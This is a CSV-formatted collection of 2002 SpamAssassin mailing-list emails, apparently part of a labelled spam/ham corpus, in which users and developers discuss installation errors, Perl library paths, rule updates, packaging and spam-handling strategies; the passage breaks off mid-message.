from,"I'm getting an error page from sourceforge.net when I try to go to www.spamassassin.org. Just FYI. -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Clark C . Evans"" ","Thu, 05 Sep 2002 12:24:09 +0100",Re: [SAtalk] getting single-user spam assassin to work in FreeBSD,"""Clark C . Evans"" said: > Hello. I'm hosted on a FreeBSD box where I can't modify the > local Perl installation. I downloaded and installed procmail > in my home directory, and now I'm trying to get spamassassin to work... > > bash-2.05$ perl Makefile.PL PREFIX=/home/cce SYSCONFDIF=/home/cce/etc > Warning: prerequisite HTML::Parser 0 not found at (eval 1) line 219. > Warning: prerequisite Pod::Usage 0 not found at (eval 1) line 219. > 'SYSCONFDIF' is not a known MakeMaker parameter name. SYSCONFDIR. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Kerry Nice"" ","Thu, 05 Sep 2002 12:21:59 +0100",Re: [SAtalk] Trend: Spam disguised as newsletters,"""Kerry Nice"" said: > What about some reality check rules. Yeah, you can pack in lots of things > into the header to try and get some negative points, but do they all make > sense in combination. Can you have a Pine message id in the same header > with an Outlook Express one or a Mutt User-Agent? Yes, this is a big bonus of meta rules (new in 2.40); we can now e.g. check for an Outlook-style forwarded message, and not give it negative points unless it contains other signs of being from Outlook. > I think the headers should be paid special attention to. The message > content of something from the NY Times or Lockergnome might look spammy, but > usually they don't forge or fake anything in the header. Tone down the > negative scores and ding them extra for any obvious forgeries. When we get more (good) ""nice"" tests, the GA will assign lower scores to them. I think the current problem is that there are very few really good nice tests in the current rulebase, and lots of +ve tests that those newsletters hit, giving the GA a big problem to solve. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),SpamAssassin ,"Thu, 05 Sep 2002 12:26:25 +0100",Re: [SAtalk] My SA went crazy.,"Jesus Climent said: > d output: Bareword found where operator expected at (eval 11) line 95, > near ""25FREEMEGS_URL_uri_test"" (Missing operator before > FREEMEGS_URL_uri_test?) Bareword found whe > Is that a bug or is a fault in my system? looks like there's an out-of-date copy of the rules files, on your system. that rules is called ""FREEMEGS_URL"" nowadays. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),SpamAssassin-talk@example.sourceforge.net,"Thu, 05 Sep 2002 12:15:35 +0100",[SAtalk] Thought for RPM/deb/etc packagers,"BTW, I've been thinking a little about the RPMs and other packages. Already the PLD guys are distributing 3 rpms: - perl-Mail-SpamAssassin the perl modules. - spamassassin the ""spamassassin"" and ""spamd"" scripts, spamd rc-file etc. - spamassassin-tools mass-check, masses directory stuff, etc. for generating rescore data from corpora. This seems like a good way to do it; this way, stuff which just needs the perl modules doesn't need to require the full RPM be installed, with RC files in init.d etc. It's been adopted in the distributed .spec file, anyway. Theo, BTW, what's the eval test you add in the tvd version of the RPM? --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Mike Burger ,"""Malte S. Stretz"" ","Thu, 5 Sep 2002 07:33:15 -0500 (EST)",Re: [SAtalk] PerMsgStatus.pm error?,"It's possible...I performed the update via ""rpm -U""...which, of course, created all the new rulesets as ""xx_rulename.cf.rpmnew"" Crud. I'll have to start moving things around. On Thu, 5 Sep 2002, Malte S. Stretz wrote: > On Thursday 05 September 2002 04:10 CET Mike Burger wrote: > > Just loaded up SA 2.40 from Theo's RPMs...spamassassin-2.40-1 and > > perl-Mail-SpamAssassin-2.40-1 on a RH 7.1 system with perl 5.6.1 running > > on it. > > > > I'm getting messages that seem to indicate that SA can't find > > PerMsgStatus, like so: > > > > Sep 4 21:01:59 burgers spamd[17579]: Failed to run CTYPE_JUST_HTML > > SpamAssassin test, skipping: ^I(Can't locate object method > > ""check_for_content_type_just_html"" via package > > ""Mail::SpamAssassin::PerMsgStatus"" (perhaps you forgot to load > > ""Mail::SpamAssassin::PerMsgStatus""?) at > > /usr/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/PerMsgStatus.pm line > > 1814, line 21. ) > > > >[...] > > > > Any ideas? > > Perl doesn't complain that it can't find PerMsgStatus.pm but the function > check_for_content_type_just_html(). Do you probably have some old rules > files still lurking around? This test existed in 2.31 but is gone/was > renamed with 2.40. > > Malte > > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Brian May"" ","""SpamAssassin Users' list"" ","Thu, 5 Sep 2002 10:14:46 -0700",[SAtalk] [OT] SpamAssassin figures...,"I finally found the SpamAssassin ninja's! After months of searchng.. I found the litte guys at a bowling alley in Valencia! Here's a shot of my beloved clan! http://www.mattahfahtu.com/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Brian May"" ","""SpamAssassin Users' list"" ","Thu, 5 Sep 2002 10:51:23 -0700",Re: [SAtalk] [OT] SpamAssassin figures...,"sorry for the dupe.. thought the com address would bounce.. my bad. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,Josh Hildebrand ,"Fri, 6 Sep 2002 13:54:11 -0400",Re: [SAtalk] redhat init.d script for spamd and the -H option,"--UHN/qo2QbUvPLonB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Sep 06, 2002 at 11:32:01AM -0500, Josh Hildebrand wrote: > Unfortunately, when I run that, it complains about the H parameter. >=20 > -F 0|1 remove/add 'From ' line at start of output (default: 1) >=20 > But I can run it on the command line as ""spamd -d -c -a -H"" just fine. >=20 > Anyone else run into this problem? you look to have 2 versions of spamd installed. The one running from the RC script is pre-2.4 (there is a -H now, and -F has been removed), but the one you run from the commandline seems to be a 2.4x version. I would find that old version of SA and blow it away. --=20 Randomly Generated Tagline: ""If you lend someone $20, and never see that person again, it was probably worth it."" - Zen Musings --UHN/qo2QbUvPLonB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9eOvDAuOQUeWAs2MRAmQQAKDvRrfV2FasxShCaSQCCdfbvx4mbQCeK3Eq IXNsRLjK0elfi5oPbnQedEI= =woQJ -----END PGP SIGNATURE----- --UHN/qo2QbUvPLonB-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Stephane Lentz ,spamassassin-talk@example.sourceforge.net,"Fri, 6 Sep 2002 20:04:20 +0200",Re: [SAtalk] Lotus Notes users?,"On Fri, Sep 06, 2002 at 06:22:52PM +0100, Matt Sergeant wrote: > Can anyone out there who uses SA with lotus notes users help us figure > out what to tell customers to do when they've got emails coming in with > spam identifying headers? We've been told that Notes has no way to > handle extra headers, but I'm sure that can't be universally true. > > I've searched the 'net, and it seems that Notes can only filter based on > the ""visible"" headers, i.e. sender, subject, precedence, etc. Is there > any way to filter based on X- headers? => Yes the only way out with Notes looks like changing the subject (subject_tag). Regards, SL/ --- Stephane Lentz / Alcanet International - Internet Services ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,bugzilla-daemon@hughes-family.org,"Fri, 6 Sep 2002 13:56:19 -0400",Re: [SAdev] [Bug 840] spam_level_char option change/removal,"--sHrvAb52M6C8blB9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Sep 06, 2002 at 10:09:19AM -0700, bugzilla-daemon@hughes-family.org= wrote: > another (or would look terrible). Let's just use a letter. If > aesthetics are your concern, I think an ""x"" will look just fine. ""x"" is fine, but let's not take out the config option. if people really want to have it be something else, we shouldn't hinder them. --=20 Randomly Generated Tagline: ""And the next time you consider complaining that running Lucid Emacs 19.05 via NFS from a remote Linux machine in Paraguay doesn't seem to get the background colors right, you'll know who to thank."" (By Matt Welsh) --sHrvAb52M6C8blB9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9eOxDAuOQUeWAs2MRAuH1AKD8heTyLbbAWWkpWyjY6k4JwKhOMgCg4C++ rl8B1iVlvS/M0aFW6DubyQA= =BibY -----END PGP SIGNATURE----- --sHrvAb52M6C8blB9-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Fri, 6 Sep 2002 10:56:23 -0700 (PDT)",[SAdev] [Bug 840] spam_level_char option change/removal,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=840 ------- Additional Comments From felicity@kluge.net 2002-09-06 10:56 ------- Subject: Re: [SAdev] spam_level_char option change/removal On Fri, Sep 06, 2002 at 10:09:19AM -0700, bugzilla-daemon@hughes-family.org wrote: > another (or would look terrible). Let's just use a letter. If > aesthetics are your concern, I think an ""x"" will look just fine. ""x"" is fine, but let's not take out the config option. if people really want to have it be something else, we shouldn't hinder them. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """Malte S. Stretz"" ",spamassassin-talk@example.sourceforge.net,"Sun, 8 Sep 2002 16:19:34 +0200",Re: [SAtalk] Lotus Notes users?,"On Saturday 07 September 2002 23:22 CET Daniel Quinlan wrote: > Craig Hughes writes: > > How about configuring SA to set precendence to ""low"" for spam > > messages, then filter on that -- no real human I've ever seen has > > actually set precendence to low on real mail. > > Assuming there isn't a better way for Lotus Notes users, we could > create a ""Precedence: spam"" convention. The only two Precedence: > headers I've seen (aside from one or two odd messages) are ""bulk"" and > ""list"". Adding a ""spam"" header makes sense given the convention. I'd suggest using Precedence: junk. Albeit it's no standard header does most Software already recognize it. Courier eg. doesn't send auto-replies to mails with the Precedence bulk or junk. I think Outlook does handle these special, too. [1] says: | Autoresponses should always contain the header | Precedence: junk | Notice the spelling of ""prec-e-dence"". In particular, count the number of | n:s (and a:s and s:es, if you're totally agraphic and/or from the United | States). This will prevent well-tempered mail programs from generating | bounce messages for these. If the recipient can't be reached, the | autoresponder message is simply discarded. | [...] | (For what it's worth, the meaning of the Precedence header in practice is | that it affects Sendmail so that messages identified as less important get | moved back in the queue under high load. [...]) >[...] Malte [1] Moronic Mail Autoresponders (A FAQ From Hell): http://www.ling.helsinki.fi/users/reriksso/mail/autoresponder-faq.html -- --- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Robin Lynn Frank ,spamassassin-talk@example.sourceforge.net,"Sun, 8 Sep 2002 06:59:04 -0700",[SAtalk] spamd can't find...,"I thought I'd installed razor correctly, but I am seeing the following in my logs. Can anyone give me a hitn? Sep 8 06:46:45 omega spamd[6514]: razor2 check skipped: No such file or directory Can't locate object method ""new"" via package ""Net::DNS::Resolver"" (perhaps you forgot to load ""Net::DNS::Resolver""?) at (eval 31) line 1, line 114. ^I...propagated at /usr/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/Dns.pm line 392, line 114. -- Robin Lynn Frank Paradigm-Omega, LLC ================================== The only certainty about documentation is that whoever wrote it ""might"" have understood it. The rest of us may not be so lucky. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Robin Lynn Frank ,spamassassin-talk@example.sourceforge.net,"Sun, 8 Sep 2002 16:33:10 -0700",[SAtalk] Huh?,"Despite my lack of confidence to upgrade to 2.41 using the tarball instead of cpan, it worked. With the help of others, got razor working. I did however notice something in my logs which happened twice but hasn't recurred. Sep 8 16:10:11 omega spamd[14014]: razor2 check skipped: Permission denied Can't call method ""log"" on unblessed reference at /usr/lib/perl5/site_perl/5.6.1/Razor2/Client/Agent.pm line 211, line 66. -- Robin Lynn Frank Paradigm-Omega, LLC ================================== The only certainty about documentation is that whoever wrote it ""might"" have understood it. The rest of us may not be so lucky. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Malte S. Stretz"" ",spamassassin-devel@example.sourceforge.net,"Mon, 9 Sep 2002 12:19:58 +0200","Re: [SAdev] Re: [SACVS] CVS: spamassassin/rules 60_whitelist.cf,1.29,1.30","On Monday 09 September 2002 11:13 CET Matt Sergeant wrote: > Malte S. Stretz wrote: > >[...] > > So I'd vote for a complete removal of 60_whitelists.cf and a page > > http://spamassassin.org/tests/whitelists.html where we list common > > whitelist entries instead. > > I would happily agree to that. > > Though maybe it should be a wiki... ;-) Just imagine what Ronnie Scelson would do to a wiki *shudder* M -- --- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Tue, 10 Sep 2002 08:45:08 -0700 (PDT)","[SAdev] [Bug 486] SpamAssassin causes zombies (network tests,","http://www.hughes-family.org/bugzilla/show_bug.cgi?id=486 ------- Additional Comments From larry@5points.net 2002-09-10 08:45 ------- Dan, To answer your question to my post (which maybe should be a seperate bug?) I'm using Spamassassin version 2.30 ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Vivek Khera ,spamassassin-talk@example.sourceforge.net,"Wed, 11 Sep 2002 09:36:38 -0400",Re: [SAtalk] base64 decode problem?,">>>>> ""CW"" == Carlo Wood writes: CW> to manually decode the base64 part. CW> Can someone please tell me how to do that? google: base64 decode the first three results look useful. ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Malte S. Stretz"" ",spamassassin-devel@example.sourceforge.net,"Wed, 11 Sep 2002 17:26:19 +0200",Re: [SAdev] 2.42 to come ?,"On Wednesday 11 September 2002 16:19 CET Justin Mason wrote: > Malte S. Stretz said: >[...] > > I think we should even add new (GA'd) rules to 2.4x (and/or remove old > > ones) and tag a new 2.50 only if we have a bunch of features worth a > > ""dangerous"" big update. I'd say: Yes, you should expect 2.42 and also > > 2.43+ (but update to 2.41 now). > > I would think adding new rules to, or removing broken rules from, 2.4x > would require some discussion first. but new GA'd scores are definitely > worth putting in, as the ones there are too wild. I think my mail wasn't very clear ;-) My point was that we should continue releasing new rules and removing broken ones (all based on discussions on this list of course) in the 2.4 branch instead of creating a new 2.5 branch everytime we have a bunch of new rules. A new branch should be openend only if (big) new features are introduced (eg. Bayes) or the interface has changed (spam_level_char=x). As the rules are under fluent development, the user has to update quite regularly. But currently he couldn't be shure if the new release will break anything in his setup (like -F going away). So if we say ""the branches are stable to the outside and just improved under the surface but you have to watch out when you update to a new minor version number"", users and sysadmins could be less reluctant to update. All just IMHO :o) Malte P.S.: I'll be away from my box and my mail account for one week, starting tomorrow. So happy coding for the next week :-) -- --- Coding is art. --",0,0 """Crist J. Clark"" ",spamassassin-talk@example.sourceforge.net,"Wed, 11 Sep 2002 10:36:18 -0700","[SAtalk] Reject, Blackhole, or Fake No-User?","This is not directly SpamAssassin related, but more of a general dealing-with-SPAM issue. What is the best way to deal with SPAM during the SMTP transaction? There are domains and addresses that I know are SPAM at the 'MAIL FROM' and can deal with at the SMTP level. I have been, and I think most people, respond with a 5.7.1 code, a ""permanent"" error. That pretty much means, ""Don't bother to try from that address again, you'll get the same error."" People often add cathartic messages to accompany the 550 like, ""Spammers must die."" But this might not be the best way to go. You are telling the spammers that you are on to them. This may cause them to try other methods to get around your blocks. Is it perhaps better to blackhole the mail? That is, act like everything is OK during the SMTP transaction, but then just drop the mail into the bitbucket. (This is generally how SpamAssassin works since almost everyone uses it after the SMTP transaction has completed successfully.) Spammer thinks everything is going fine and has no reason to try new methods. Then there is a third possibility. Instead of returning a 550 code indicating you're on to the spammer, fake a 5.1.1 response which is saying ""mailbox does not exist."" This would be in the hopes that some spammers out there actually remove names reported as non-existent from their lists. I know, a slim hope, but even if only a few do, it can lower the incidence. So, what are the arguments for each? Do spammers even look at _any_ of the bounce messages they get? The volume of bounces must be huge. Personally, I'm starting to think blackholes are the way to go... But sending back that ""Spammer die, die, die,"" or stock ""Access DEE-NIED!"" (my ephasis added) message can be pretty satisfying. ;) -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Robert Strickler ,"Wed, 11 Sep 2002 21:38:40 +0100",Re: [SAtalk] Yeah right... If spamassassin was looking through th,"Robert Strickler said: > Looks like we need an identity stamp in the X-Spam headers so that SA only > accepts headers from authorized sources. Well, SpamAssassin will just ignore any old X-Spam-whatever headers it finds, so that cannot be used to get around the filter. --j. ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 David Raistrick ,Stephane Lentz ,"Wed, 11 Sep 2002 13:46:19 -0700 (PDT)",Re: [SAtalk] Re: [SAdev] File::Spec and v2.41,"On Wed, 11 Sep 2002, Stephane Lentz wrote: > => I faced a similar problem with the FreeBSD when trying to > install SpamAssassin through the ports on my fresh FreeBSD 4.6.2. > I had to define PERL5LIB with some given order of directories > so that the latest File::Spec module get used. Good to hear it's not just me. Mind telling me how you set PERL5LIB specificly? I've tried a few things (setenv in the shell, as well as $PERL5LIB == ...inside the Makefile.PL, even on the perl command line..) with no success. thanks. ..david --- david raistrick drais@atlasta.net http://www.expita.com/nomime.html ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Quentin Krengel"" ",,"Wed, 11 Sep 2002 16:50:07 -0500",RE: [SAtalk] Debianized Packages for SA 2.3+,"I successfully installed spamassassin & razor to run system wide on my Debian Woody server. Briefly I apt-get installed spamassassin razor and libmilter-dev, downloaded spamass-milter-0.1.2.tar.gz from http://www.milter.org, ungzipped and untarred the file into /etc/mail, followed the directions in /etc/mail/spamass-milter-0.1.2/README to compile the milter, install the rc scripts, and edit and update sendmail.mc changed /etc/default/spamassassin to set spamassassin to daemon mode. verified that spamassassin was running by tailing /var/log/mail.log Woody/stable has SA 2.20 Woody/unstable has SA 2.41 I'm running the stable source live right now and it is working very well. If you want unstable change /etc/apt/sources.list, substituting ""unstable"" for ""stable"", Run apt-get update Install the unstable versions Change /etc/apt/sources.list Run apt-get update Quentin Krengel Krengel Technology Inc -----Original Message----- From: spamassassin-talk-admin@example.sourceforge.net [mailto:spamassassin-talk-admin@lists.sourceforge.net] On Behalf Of Tanniel Simonian Sent: Wednesday, September 11, 2002 4:15 PM To: spamassassin-talk@example.sourceforge.net Subject: [SAtalk] Debianized Packages for SA 2.3+ Im currently using woody. Is there a debianized package for SA on Woody, or at least somewhere I can download from? Its been soo long that I haven't compiled stuff, that Im sort of shy to try again. =) -- Tanniel Simonian Programmer / Analyst III UCR Libraries http://libsys.ucr.edu 909 787 2832 ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Stephane Lentz ,David Raistrick ,"Wed, 11 Sep 2002 23:53:41 +0200",Re: [SAtalk] Re: [SAdev] File::Spec and v2.41,"On Wed, Sep 11, 2002 at 01:46:19PM -0700, David Raistrick wrote: > On Wed, 11 Sep 2002, Stephane Lentz wrote: > > > => I faced a similar problem with the FreeBSD when trying to > > install SpamAssassin through the ports on my fresh FreeBSD 4.6.2. > > I had to define PERL5LIB with some given order of directories > > so that the latest File::Spec module get used. > > Good to hear it's not just me. Mind telling me how you set PERL5LIB > specificly? I've tried a few things (setenv in the shell, as well as > $PERL5LIB == ...inside the Makefile.PL, even on the perl command > line..) with no success. > - Presuming your run Bash : Note the directory lists # perl -e 'map { print ""$_\n"" } @INC' Then set up the Shell variable PERL5LIB variable (and put it in some .bashrc for future use) # export PERL5LIB=""directory1:directory2:directory3:directory4"" Then try to install the software PERL5LIB is explained perlrun(1) : do # man perlrun for more information Regards, SL/ --- Stephane Lentz / Alcanet International - Internet Services ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Robin Lynn Frank ,spamassassin-talk@example.sourceforge.net,"Wed, 11 Sep 2002 15:23:54 -0700",[SAtalk] Is DCC for real?,"So far today, I've found eff.org and mandrakesoft.com in DCC. My confidence in DCC is beginning to drop. -- Robin Lynn Frank Paradigm-Omega, LLC ================================== No electrons were harmed in the sending of this message. However, two neutrons and a proton complained about the noise. ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Ian White ,Vince Puzzella ,"Wed, 11 Sep 2002 15:26:22 -0700 (PDT)",Re: [SAtalk] Badly Formatted Spam Report in HTML spam,"On Wed, 11 Sep 2002, Vince Puzzella wrote: > Ever since I set defang_mime 0 all spam that contains HTML has a badly > formatted report. I think/realize it's because the report should be in > HTML. Is there anyway to get Spamassassin to add an HTML report in > cases where it is required (defang_mime 0)? Funny, I was in the middle of composing the same message when I saw yours. It would be nice if it sees a header like: Content-type: text/html; charset=iso-8859-1 and defang_mime is 0, it could wrap the report with for ease of reading? And the same sort of problem seems to occur with base64 encoded messages. The report is placed inside of the mime boundary: ------=_NextPart_000_00B7_31E64A2B.B8441E37 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: base64 Should this not go above (probably in it's own mime section,) to make sure that the attachments don't get destroyed? Ian ------------------------------------------- Ian White email: iwhite@victoria.tc.ca ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Joseph Burke"" ",spamassassin-talk@example.sourceforge.net,"Wed, 11 Sep 2002 18:42:49 -0700","[SAtalk] Re: Spamassassin-talk digest, Vol 1 #659 - 41 msgs","On 9/11/2002 at 10:01 AM spamassassin-talk-request@lists.sourceforge.net spamassassin-talk@lists.sourceforge.net wrote: >Message: 15 >From: Vivek Khera >Date: Wed, 11 Sep 2002 10:06:55 -0400 >To: spamassassin-talk@example.sourceforge.net >Subject: Re: [SAtalk] Calypso email = ratware? > >>>>>> ""JM"" == Justin Mason writes: > >JM> Now all we need to do is get all the SpamAssassin users out there to >JM> upgrade... > >Considering that the rules need to adapt to the changing look and feel >of spam vs. non-spam, does it make sense to have SA automatically >issue a notice when it is, say 9 months old, recommending that the >user/operator check for updated rules? > >Sort of like a nag-ware feature, but in self-defense for the user, not >the vendor ;-) > >-- >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >Vivek Khera, Ph.D. Khera Communications, Inc. >Internet: khera@kciLink.com Rockville, MD +1-240-453-8497 >AIM: vivekkhera Y!: vivek_khera http://www.khera.org/~vivek/ better yet would be a built-in server check on a periodic basis, even daily, looking for the existence of an update, and if found prompt the system admin to upgrade the server. With the ever changing face of spam, this would probably be a big benefit to SA users and help keep everyone up to date. We have not done this with too many of the apps we sell on www.RoseCitySoftware.com strictly because of joe-average-user concerns about spyware and ""phoning home"", but in cases where the app needs to access the internet anyhow, we have done it with great success and minimal concern by our users. ---- Joseph Burke President/CEO InfiniSource, Inc. ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Eric Mings"" ","""Spamassassin Talk"" ","Thu, 12 Sep 2002 09:05:50 -0400",Re: [SAtalk] Bayesian and bogofilter,">Anyway I'm making good progress and my implementation works reasonably >well. It now seems blindingly clear that we want a tightly-integrated >implementation of Naive Bayes spam/nonspam classification. There are >still some things about how to do this right inside SA that I still am >figuring out. > >Dan This is very good news! Will this allow for individual spam word file preferences when spamassassin is running on a mailserver for multiple users? This would be an outstanding addition if it can be done. Thanks much for a great project. -- Regards, Eric Mings Ph.D. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Fred Inklaar ,SpamAssassin ,"Thu, 12 Sep 2002 20:50:28 +0200","Re: [SAtalk] Reject, Blackhole, or Fake No-User","Op 12-09-2002 00:35 schreef Ellen Clary (ellen@dgi.com): >> Then there is a third possibility. Instead of returning a 550 code >> indicating you're on to the spammer, fake a 5.1.1 response which is >> saying ""mailbox does not 